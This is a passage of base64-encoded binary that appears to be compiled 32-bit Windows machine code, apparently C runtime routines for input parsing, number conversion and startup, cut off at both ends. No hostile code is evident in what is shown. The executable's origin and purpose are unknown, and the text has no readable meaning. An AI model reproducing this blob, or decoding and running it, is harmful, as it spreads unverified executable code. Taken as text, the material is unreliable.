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kzdQyNRgKAODJ1BIvw61yA+WR0V4D5aXRSgPlvdE2A+Xh0SID5WHUZ60H+hWr+///rOYP7aHQog/tsdA2D+3d0Fv6Fc/7//+sijUYBgDhsdJf+hXv+///+hWv+///rDP6Ne/7///6Na/7//4C9c/7//wAPhP7+//+AvWr+//8AibVQ/v//dRmLhRz+//+LGImFFP7//4PABImFHP7//+sCM9uAvWv+//8AiZ1E/v//xoVz/v//AHUYigY8U3QLxoVr/v///zxDdQfGhWv+//8BD7Y+g88gib0Y/v//g/9udFCD/2N0GYP/e3QU/7Vg/v//jbV0/v//6Fr8//9Z6xGLlWD+////hXT+///oMPz//4mFbP7//4P4/w+E+wwAAIudRP7//4u1UP7//4u9GP7//4uNQP7//4XJdA2DvWT+//8AD4Q2DAAAgL1q/v//AHVBg/9jdAqD/3N0BYP/e3Uyi4UU/v//ixiDwASJhRT+//+DwASJhRz+//+LQPyJnUT+//+JhTT+//+D+AEPgvULAACD/28Pj5cFAAAPhFUIAACD/2MPhBAEAACD/2QPhEMIAAAPjqMFAACD/2d+RIP/aXQhg/9uD4WQBQAAgL1q/v//AIuFdP7//w+EvwoAAOnmCgAAamRfi51s/v//g/stD4WTBgAAxoVc/v//AemMBgAAM9uDvWz+//8tdQyLhVj+///GAC1D6wmDvWz+//8rdR3/jWT+//+LlWD+////hXT+///oB/v//4mFbP7//4O9QP7//wB1B4ONZP7///8PtoVs/v//62uLhWT+////jWT+//+FwHRmioVs/v//i41Y/v///4VU/v//iAQLjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+gr+v//g8QMhcAPhHELAACLlWD+////hXT+///ohvr//4mFbP7//w+2wFDoamn//1mFwHWKi4X8/f//i4C8AAAAiwCKAIiFXf7//zqFbP7//w+F5QAAAIuFZP7///+NZP7//4XAD4TRAAAAi5Vg/v///4V0/v//6Cv6//+LjVj+//+JhWz+//+KhV3+//+IBAuNhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6H75//+DxAyFwA+ExAoAAA+2hWz+///ra4uFZP7///+NZP7//4XAdGaLhVj+//+KjWz+////hVT+//+IDAONhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6CT5//+DxAyFwA+EagoAAIuVYP7///+FdP7//+h/+f//iYVs/v//D7bAUOhjaP//WYXAdYqDvVT+//8AD4RfAQAAg71s/v//ZXQNg71s/v//RQ+FSQEAAIuFZP7///+NZP7//4XAD4Q1AQAAi4VY/v//xgQDZY2FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///okvj//4PEDIXAD4TYCQAAi5Vg/v///4V0/v//6O34//+JhWz+//+D+C11LIuFWP7//8YEAy2NhTD+//9QjYV8/v//UENT6Ez4//+DxAyFwA+EkgkAAOsJg71s/v//K3Uvi4Vk/v///41k/v//hcB1CCGFZP7//+sXi5Vg/v///4V0/v//6IT4//+JhWz+//8PtoVs/v//62uLhWT+////jWT+//+FwHRmi4VY/v//io1s/v///4VU/v//iAwDjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+i49///g8QMhcAPhP4IAACLlWD+////hXT+///oE/j//4mFbP7//w+2wFDo92b//1mFwHWK/410/v//g71s/v///3QT/7Vg/v///7Vs/v//6Dd1//9ZWYO9VP7//wAPhKoIAACAvWr+//8AD4VNBwAAi4VY/v///4U4/v//jY38/f//UVD/tUT+///GBAMAD76Fe/7//0hQ/zX8EgUQ/xVo4gMQ/9CDxBDpEAcAAIXJdRD/hWT+///HhUD+//8BAAAAgL1r/v//AH4HxoVf/v//Af+NdP7//4O9bP7///+L83QT/7Vg/v///7Vs/v//6Jh0//9ZWYP/Y3QG/400/v//g71A/v//AHQUi4Vk/v///41k/v//hcAPhHYDAACLlWD+////hXT+///oBff//4mFbP7//4P4/w+EPQMAAIP/Y3RMg/9zdROD+Al8CYP4DQ+OJQMAAIP4IHU0g/97D4UXAwAAD769Xf7//zPSi8iD4QdC0+KLyMH5Aw++TA3cM8+F0Q+E8gIAAIu9GP7//4C9av7//wAPhdkCAACDvTT+//8AD4QaBwAAgL1f/v//AA+EsQIAAIiFIP7//w+2wFDojzEAAFmFwHQXi5Vg/v///4V0/v//6Fn2//+IhSH+//+Nhfz9//9Qi4X8/f//x4UQ/v//PwAAAP+wrAAAAI2FIP7//1CNhRD+//9Q6PAzAABmi4UQ/v//g8QQZokDg8MC6UQCAACLx4PocA+EsgIAAIPoAw+EiP7//0hID4SoAgAAg+gDD4SQ+v//g+gDdDMPtgY7hWz+//8PhTwGAAD+jV7+//+AvWr+//8AD4VMBQAAi4UU/v//iYUc/v//6TsFAACAvWv+//8AfgfGhV/+//8BRoA+XnUIRsaFXf7///9qII1F3GoAUOhSaf//g8QMgD5ddQyyXUbGRecg6ZIAAACKlS/+///phwAAAEY8LXVrhNJ0Z4oOgPlddGBGOtFzCIiNe/7//+sIiJV7/v//itE6lXv+//9zJoqFe/7//yrCD7b6D7bQi8+D4QeLx7MB0uPB6AONRAXcCBhHSnXoD7aNe/7//4vBg+EHsgHS4sHoA41EBdwIEDLS6xcPtsiK0IvBg+EHswHB6APS441EBdwIGIoGPF0PhW////+EwA+EqAUAAIudRP7//4u9GP7//4m1UP7//+lV/f//g/srdS7/jWT+//91DYXJdAnGhXP+//8B6xmLlWD+////hXT+///ojPT//4vYiZ1s/v//g/swD4V4AQAAi5Vg/v///4V0/v//6Gr0//+L2ImdbP7//4D7eHRQgPtYdEvHhVT+//8BAAAAg/94dBuDvUD+//8AdA7/jWT+//91Bv6Fc/7//2pv61v/jXT+//+D+/90Dv+1YP7//1Pob3H//1lZajBb6QQBAACLlWD+////hXT+///o/PP//4O9QP7//wCL2ImdbP7//3QWg61k/v//AoO9ZP7//wF9Bv6Fc/7//2p4X+nKAAAAiANDiZ1E/v//6Yb8//9G6Yb8////jXT+//+D+P90Dv+1YP7//1Do+nD//1lZO/MPhHIEAACAvWr+//8AD4UVAwAA/4U4/v//g70Y/v//Yw+EAgMAAIC9X/7//wB0EIuNRP7//zPAZokB6ekCAACLhUT+///GAADp2wIAAMaFe/7//wGLnWz+//+D+y11CcaFXP7//wHrBYP7K3Uu/41k/v//dQ2FyXQJxoVz/v//AesZi5Vg/v///4V0/v//6Avz//+L2ImdbP7//4O9JP7//wAPhEYBAACAvXP+//8AD4UIAQAAg/94dGmD/3B0ZA+2w1DoyWH//1mFwA+E0wAAAIP/b3Uqg/s4D43FAAAAi4VI/v//i41M/v//D6TBA8HgA4mFSP7//4mNTP7//+tfagBqCv+1TP7///+1SP7//+jlZP//iYVI/v//iZVM/v//6zwPtsNQ6Olh//9ZhcB0c4uFSP7//4uNTP7//w+kwQTB4ARTiYVI/v//iY1M/v//6Cjy//+L2FmJnWz+////hVT+//+NQ9CZAYVI/v//EZVM/v//g71A/v//AHQI/41k/v//dDeLlWD+////hXT+///oB/L//4vYiZ1s/v//6RH/////jXT+//+D+/90Dv+1YP7//1PoO2///1lZgL1c/v//AA+E/gAAAIuFSP7//4uNTP7///fYg9EA99mJhUj+//+JjUz+///p2gAAAIC9c/7//wAPhb4AAACD/3h0N4P/cHQyD7bDUOiDYP//WYXAD4SJAAAAg/9vdRCD+zh9f4uFPP7//8HgA+s1i4U8/v//a8AK6yoPtsNQ6NVg//9ZhcB0W8GlPP7//wRT6Czx//+L2IuFPP7//1mJnWz+////hVT+//+DvUD+//8AjUQY0ImFPP7//3QI/41k/v//dDeLlWD+////hXT+///oC/H//4vYiZ1s/v//6Vv/////jXT+//+D+/90Dv+1YP7//1PoP27//1lZgL1c/v//AHQG9508/v//g/9GdQeDpVT+//8Ag71U/v//AA+ElwEAAIC9av7//wB1Pv+FOP7//4udRP7//4uFPP7//4O9JP7//wB0E4uFSP7//4kDi4VM/v//iUME6xCAvXv+//8AdASJA+sDZokDi7VQ/v///oVe/v//Rom1UP7//+tsPCV1BjhGAXUBRouVYP7///+FdP7//+hG8P//i9gPtgZGiZ1s/v//ibVQ/v//O8MPhe4AAAAPtsNQ6EMrAABZhcB0KYuVYP7///+FdP7//+gN8P//D7YORom1UP7//zvID4WqAAAA/410/v//g71s/v///3UbgD4lD4W9AAAAi4VQ/v//gHgBbg+FrQAAAIvwigaEwA+FLfH//+mcAAAAg71s/v///+t+gL1r/v//AH4HM8BmiQPrA8YDAOhwPP//xwAMAAAA63ODvWz+////dBP/tWD+////tWz+///o12z//1lZx4UM/v//AQAAAOtL6Ds8//+AvV/+//8AxwAMAAAAdAczwGaJBuswxgYA6yuD+P90Dv+1YP7//1DomGz//1lZg/v/dBP/tWD+////tWz+///ogGz//1lZg70w/v//AXUM/7VY/v//6N8R//9Zg71s/v///3Uqi4U4/v//hcB1CziFXv7//3UDg8j/gL0I/v//AHQ+i40E/v//g2Fw/esyg70M/v//AXUQ6J87///HABYAAADo8nL//4C9CP7//wB0CouFBP7//4NgcP2LhTj+//9bi038XzPNXugQDP//ycOL/1WL7IsGOUUIdUmLD2oEUDtNDHUu6MRY//9ZWYkHhcB1BDPAXcOLRRDHAAEAAACLBgPAUP91DP836GpA//+DxAzrD1HoL1n//4PEDIXAdNKJB9EmM8BAXcOL/1WL7PdFCAD/AABWdRoPt3UIi8Yl/wAAAFDoFl3//1mFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXelKZv//XcOL/1WL7Ff/dQj/BugrYv//D7f4uP//AABZZjv4dA5qCFfoz1IAAFlZhcB12maLx19dw4v/VYvsgexIAwAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+Jjdj8//+NjUD9//+JhSD9//+Jtfz8//+JjRj9///HheT8//9eAQAAib3g/P//ib3c/P//ib3Q/P//ib0w/f//ib3M/P//O/d1GOghOv//xwAWAAAA6HRx//+DyP/pVBEAADvHdOT/dRCNjbz8///oaRv//w+3BsaFHv3//wCJvTj9//+Jvez8//9mO8cPhAoRAABTaghQ6AVSAABZWYXAdE7/tSD9////jTj9////tSD9//+NtTj9///o7f7//w+3wFlQ6Mv+//+Ltfz8//9ZWYPGAg+3BmoIUOjCUQAAWVmFwHXsibX8/P//6a4PAACLtfz8//8PtwZqJVlmO8gPhT4PAABmO04CD4QmDwAAM/+JvQz9//+Jvbj8//+JvRT9//+JvfT8//+JvSj9//+JvfD8///GhQP9//8AxoUd/f//AMaFL/3//wDGhT/9//8AxoUf/f//AMaFN/3//wDGhSf9//8Bib0Q/f//g8YCD7ce98MA/wAAdSwPtsNQ6BFb//9ZhcB0HouFKP3///+F9Pz//2vACo1EGNCJhSj9///pygAAAIP7Tg+PhAAAAA+EuwAAAIP7KnRxg/tGD4StAAAAg/tJdBCD+0x1df6FJ/3//+mYAAAAD7dOAoP5NnUeZoN+BDR1F4PGBP+FEP3//4m9BP3//4m9CP3//+txg/kzdQxmg34EMnUFg8YE62CD+WR0W4P5aXRWg/lvdFGD+Xh0TIP5WHUZ60X+hS/9///rPYP7aHQsg/tsdA2D+3d0Gv6FP/3//+smZoN+Amx1BYPGAuuV/oUn/f///oU3/f//6wz+jSf9///+jTf9//+AvT/9//8AD4Tv/v//gL0v/f//AIm1/Pz//3UZi4XY/P//ixiJhdT8//+DwASJhdj8///rAjPbgL03/f//AImd+Pz//8aFP/3//wB1Gw+3BoP4U3QMxoU3/f//AYP4Q3UHxoU3/f///w+3PoPPIIm96Pz//4P/bnRSg/9jdBiD/3t0E/+1IP3//421OP3//+io/P//6xH/tSD9////hTj9///o0F7//w+3wFm5//8AAImFMP3//2Y7yA+E8g0AAIud+Pz//4u1/Pz//4uN9Pz//4XJdA2DvSj9//8AD4S8DQAAgL0v/f//AHVBg/9jdAqD/3N0BYP/e3Uyi4XU/P//ixiDwASJhdT8//+DwASJhdj8//+LQPyJnfj8//+JhfD8//+D+AEPghANAACD/28PjwYGAAAPhF8JAACD/2MPhNgEAABqZFg7+A+ESwkAAA+OEAYAAIP/Z35Mg/9pdCGD/24Phf0FAACAvS/9//8Ai4U4/f//D4QHDAAA6S4MAACJhej8//+L+IudMP3//2otWGY7ww+FQwcAAMaFHf3//wHpPwcAAGotWDPbZjuFMP3//3UMi40Y/f//ZokBQ+sMaitYZjuFMP3//3Uh/40o/f///7Ug/f///4U4/f//6JRd//8Pt8BZiYUw/f//g730/P//AHUHg40o/f////eFMP3//wD/AAAPhYwAAAAPtoUw/f//UOgKWP//WYXAdHqLhSj9////jSj9//+FwHRqZg++hTD9//+LjRj9////hRT9//9miQRZjYXg/P//UI2FQP3//1BDU429GP3//4215Pz//+gs+v//g8QMhcAPhD4MAAD/tSD9////hTj9///o81z//w+3wFmJhTD9//+pAP8AAA+EdP///4uFvPz//4uAvAAAAItAMA+3MA++jTD9//+LxjvBD4X/AAAAi4Uo/f///40o/f//hcAPhOsAAAD/tSD9////hTj9///ollz//w+3wImFMP3//4uFGP3//2aJNFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6H/5//+DxBCFwA+EkQsAAPeFMP3//wD/AAAPhYsAAAAPtoUw/f//UOjnVv//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Ar5//+DxAyFwA+EHAsAAP+1IP3///+FOP3//+jRW///D7fAWYmFMP3//6kA/wAAD4R1////g70U/f//AA+ElAEAAGplWGY7hTD9//90EGpFWGY7hTD9//8PhXgBAACLhSj9////jSj9//+FwA+EZAEAAIuNGP3//2plWGaJBFmNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6G74//+DxAyFwA+EgAoAAP+1IP3///+FOP3//+g1W///WQ+3wGotWYmFMP3//2Y7yHUuUYuNGP3//1hmiQRZjYXg/P//UI2FQP3//1BDU+gf+P//g8QMhcAPhDEKAADrDGorWGY7hTD9//91M4uFKP3///+NKP3//4XAdQghhSj9///rG/+1IP3///+FOP3//+jAWv//D7fAWYmFMP3///eFMP3//wD/AAAPhYsAAAAPtoUw/f//UOhGVf//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Gn3//+DxAyFwA+EewkAAP+1IP3///+FOP3//+gwWv//D7fAWYmFMP3//6kA/wAAD4R1/////7Ug/f///404/f///7Uw/f//6LH3//+DvRT9//8AWVkPhC8JAACAvS/9//8AD4UfCAAAi7Xk/P//i40Y/f///4Xs/P//M8CNdDYCVmaJBFnofU///4v4WYX/D4T1CAAAjUb/UP+1GP3//1ZXM/ZW6HFSAACDxBQ7xnQSg/gWD4R8CAAAg/giD4RzCAAAjYW8/P//UA++hSf9//9X/7X4/P//SFD/NfwSBRD/FWjiAxD/0Ffo6gf//4PEFOmSBwAAhcl1EP+FKP3//8eF9Pz//wEAAACAvTf9//8AfgfGhR/9//8B/7Ug/f///404/f///7Uw/f//i/Poy/b//1lZg/9jdAb/jfD8//+DvfT8//8AdBSLhSj9////jSj9//+FwA+ExQMAAP+1IP3///+FOP3//+jjWP//D7fQuP//AABZiZUw/f//ZjvCD4SIAwAAg/9jdFKD/3N1E4P6CXIJg/oND4ZwAwAAg/ogdTqD/3sPhWIDAAAPt8KLyDP/g+EHR9Pni43c/P//wegDD74ECA++jQP9//8zwYX4i73o/P//D4QxAwAAgL0v/f//AA+FHAMAAIO98Pz//wAPhGEHAACAvR/9//8AD4S6AgAAZokTg8MCiZ34/P//6SX///+Lx4PocA+ETQMAAIPoAw+E4f7//0hID4RDAwAAg+gDD4Qo+v//g+gDdDOLhTD9//9mOQYPhfIGAAD+jR79//+AvS/9//8AD4UnBgAAi4XU/P//iYXY/P//6RYGAACAvTf9//8AfgfGhR/9//8Bal5YjX4CZjtGAnUKjX4ExoUD/f///4u13Pz//4X2dSVoACAAAOhcTf//WYmF3Pz//4XAD4TQBgAAx4XQ/P//AQAAAIvwaAAgAABqAFboA1f//4PEDGpdWGY7B3UOUFqDxwLGRgsg6ZoAAACLlbj8///pjwAAAA+3wGotWYPHAmY7yHVwZoXSdGsPtw9qXVtmO9l0YIvBg8cCZjvQcwLrBQ+3yovQiY0Q/f//ZjvRcyqLwSvCD7fAD7faiYUM/f//i8uD4QeyAdLii8PB6AMIFDBD/40M/f//deYPt40Q/f//i8GD4QeyAdLiwegDCBQwM9LrEYvIg+EHswHS44vQwegDCBwwD7cHal1ZZjvID4Vi////ZoM/AA+E6wUAAIud+Pz//4m9/Pz//4u96Pz//+lj/f//aitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///obFb//w+32FmJnTD9//9qMFhmO8MPhcgBAAD/tSD9////hTj9///oRVb//1kPt9hqeF6JnTD9//9mO/N0VWpYWGY7w3RNx4UU/f//AQAAADv+dCODvfT8//8AdA7/jSj9//91Bv6FP/3//8eF6Pz//28AAADrXP+1IP3///+NOP3//1PolfP//1lZajBb6UoBAAD/tSD9////hTj9///ozVX//4O99Pz//wAPt9hZiZ0w/f//dBaDrSj9//8Cg70o/f//AX0G/oU//f//ibXo/P//i73o/P//6QUBAACDpRD9//8AUv+18Pz//42FEP3//1NQ6PgiAACDxBCD+CIPhHMEAACLhRD9//+FwA+OTfz//wPYKYXw/P//iZ34/P//6Tr8//+DxgLpMvz///+1IP3///+NOP3//1Lo3vL//1lZO/MPhGEEAACAvS/9//8AD4VRAwAA/4Xs/P//g/9jD4RCAwAAgL0f/f//AHQQi434/P//M8BmiQHpKQMAAIuF+Pz//8YAAOkbAwAAxoUn/f//AYudMP3//2otWGY7w3UJxoUd/f//AesIaitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///omFT//1kPt9iJnTD9//+DvRD9//8AD4RiAQAAgL0//f//AA+FJAEAAIP/eHR4g/9wdHP3wwD/AAAPhfoAAAAPtsNQ6AJP//9ZhcAPhOgAAACD/291LWo4WGY7ww+G1wAAAIuFBP3//4uNCP3//w+kwQPB4AOJhQT9//+JjQj9///rbGoAagr/tQj9////tQT9///oG1L//4mFBP3//4mVCP3//+tJ98MA/wAAD4WHAAAAD7bDUOgTT///WYXAdHmLhQT9//+LjQj9//8PpMEEweAEU4mFBP3//4mNCP3//+gv8f//D7fYWYmdMP3///+FFP3//w+3w4PoMJkBhQT9//8RlQj9//+DvfT8//8AdAj/jSj9//90NP+1IP3///+FOP3//+hzU///D7fYWYmdMP3//+nw/v///7Ug/f///404/f//U+j/8P//WVmAvR39//8AD4QaAQAAi4UE/f//i40I/f//99iD0QD32YmFBP3//4mNCP3//+n2AAAAgL0//f//AA+F2gAAAIP/eHRKg/9wdEX3wwD/AAAPhbAAAAAPtsNQ6KBN//9ZhcAPhJ4AAACD/291F2o4WGY7ww+GjQAAAIuFDP3//8HgA+s+i4UM/f//a8AK6zP3wwD/AAB1bw+2w1Do403//1mFwHRhwaUM/f//BFPoF/D//w+32IuFDP3//1mJnTD9////hRT9//+DvfT8//8AD7fLjUQI0ImFDP3//3QI/40o/f//dDT/tSD9////hTj9///oW1L//w+32FmJnTD9///pOv////+1IP3///+NOP3//1Po5+///1lZgL0d/f//AHQG950M/f//g/9GdQeDpRT9//8Ag70U/f//AA+ESgEAAIC9L/3//wB1Pv+F7Pz//4ud+Pz//4uFDP3//4O9EP3//wB0E4uFBP3//4kDi4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